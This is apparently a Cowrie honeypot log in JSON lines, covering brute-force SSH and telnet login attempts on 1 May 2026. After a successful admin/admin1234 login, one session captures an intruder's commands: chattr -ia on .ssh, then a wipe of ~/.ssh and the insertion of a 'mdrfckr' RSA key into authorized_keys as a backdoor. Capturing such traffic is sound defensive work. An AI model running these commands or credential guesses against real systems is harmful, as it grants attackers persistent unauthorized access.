{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":34386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f892d6adee2","protocol":"telnet","message":"New connection: 69.65.3.189:34386 (10.17.0.5:23) [session: 7f892d6adee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:36.479022Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":57830,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbde1d94aca2","protocol":"ssh","message":"New connection: 115.190.179.68:57830 (159.203.135.109:22) [session: fbde1d94aca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:36.642514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:36.647300Z","src_ip":"115.190.179.68","session":"fbde1d94aca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:36.869027Z","src_ip":"115.190.179.68","session":"fbde1d94aca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwer","message":"login attempt [test/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:38.314209Z","src_ip":"115.190.179.68","session":"fbde1d94aca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.302008867263794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:38.448672Z","src_ip":"69.65.3.189","session":"73395d80863b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:39.816632Z","src_ip":"115.190.179.68","session":"fbde1d94aca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.215837240219116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:41.177660Z","src_ip":"94.46.12.68","session":"3f29185ada24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14393448829651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:50.283772Z","src_ip":"94.46.12.68","session":"46c1c9418ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219327688217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:50.353438Z","src_ip":"94.46.12.68","session":"c729c44dd22b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab06a13d7e7","protocol":"telnet","message":"New connection: 94.46.12.68:40806 (10.17.0.5:23) [session: 8ab06a13d7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:52.796760Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae77f6f2ae7e","protocol":"ssh","message":"New connection: 210.183.21.53:50304 (10.17.0.5:22) [session: ae77f6f2ae7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:54.832552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:54.837959Z","src_ip":"210.183.21.53","session":"ae77f6f2ae7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:55.035881Z","src_ip":"210.183.21.53","session":"ae77f6f2ae7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgoserver123","message":"login attempt [csgo/csgoserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:55.858340Z","src_ip":"210.183.21.53","session":"ae77f6f2ae7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:57.058614Z","src_ip":"210.183.21.53","session":"ae77f6f2ae7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.405173778533936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:06.650090Z","src_ip":"69.65.3.189","session":"b47585194681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40650987625122,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:06.655940Z","src_ip":"69.65.3.189","session":"24fc6ec3f6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16654634475708,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:15.645432Z","src_ip":"69.65.3.189","session":"7f892d6adee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":58844,"dst_ip":"159.203.135.109","dst_port":22,"session":"d162c6e36569","protocol":"ssh","message":"New connection: 115.190.179.68:58844 (159.203.135.109:22) [session: d162c6e36569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:19.619075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:19.623206Z","src_ip":"115.190.179.68","session":"d162c6e36569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:21.913963Z","src_ip":"115.190.179.68","session":"d162c6e36569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:22.291794Z","src_ip":"115.190.179.68","session":"d162c6e36569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.622012615203857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:23.418655Z","src_ip":"94.46.12.68","session":"8ab06a13d7e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":50782,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e8733d0934a","protocol":"ssh","message":"New connection: 72.79.42.117:50782 (159.203.135.109:22) [session: 2e8733d0934a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:24.808470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:24.814729Z","src_ip":"72.79.42.117","session":"2e8733d0934a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:24.825140Z","src_ip":"72.79.42.117","session":"2e8733d0934a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.2024","message":"login attempt [ubuntu/ubuntu.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:24.895970Z","src_ip":"72.79.42.117","session":"2e8733d0934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aecfb632da7","protocol":"telnet","message":"New connection: 94.46.12.68:48054 (10.17.0.5:23) [session: 3aecfb632da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:25.045378Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54226,"dst_ip":"10.17.0.5","dst_port":23,"session":"91cf6eeb3bdb","protocol":"telnet","message":"New connection: 94.46.12.68:54226 (10.17.0.5:23) [session: 91cf6eeb3bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:25.096860Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:25.907419Z","src_ip":"72.79.42.117","session":"2e8733d0934a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34382,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5fc62bf834","protocol":"telnet","message":"New connection: 94.46.12.68:34382 (10.17.0.5:23) [session: cf5fc62bf834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:29.138772Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44834,"dst_ip":"10.17.0.5","dst_port":23,"session":"f838421d9260","protocol":"telnet","message":"New connection: 94.46.12.68:44834 (10.17.0.5:23) [session: f838421d9260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:34.119737Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3457787b05e","protocol":"telnet","message":"New connection: 94.46.12.68:46302 (10.17.0.5:23) [session: e3457787b05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:34.881327Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46936,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d28bf9731b3","protocol":"telnet","message":"New connection: 94.46.12.68:46936 (10.17.0.5:23) [session: 0d28bf9731b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:35.092640Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":51116,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c43ab68232","protocol":"telnet","message":"New connection: 94.46.12.68:51116 (10.17.0.5:23) [session: b0c43ab68232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:36.891800Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da8dbbe57f8","protocol":"telnet","message":"New connection: 94.46.12.68:56070 (10.17.0.5:23) [session: 5da8dbbe57f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:38.899517Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":44276,"dst_ip":"10.17.0.5","dst_port":23,"session":"3964ce12a02d","protocol":"telnet","message":"New connection: 94.46.12.68:44276 (10.17.0.5:23) [session: 3964ce12a02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:47.146349Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":53258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87bcbb073d4","protocol":"telnet","message":"New connection: 94.46.12.68:53258 (10.17.0.5:23) [session: a87bcbb073d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:50.208553Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39066,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b1c03e40a0","protocol":"ssh","message":"New connection: 210.183.21.53:39066 (10.17.0.5:22) [session: b3b1c03e40a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:50.728123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:50.733888Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:50.938155Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:51.786218Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.232645Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.236405Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.239862Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.448349Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.894963Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:52.898437Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:53.108875Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:53.112447Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
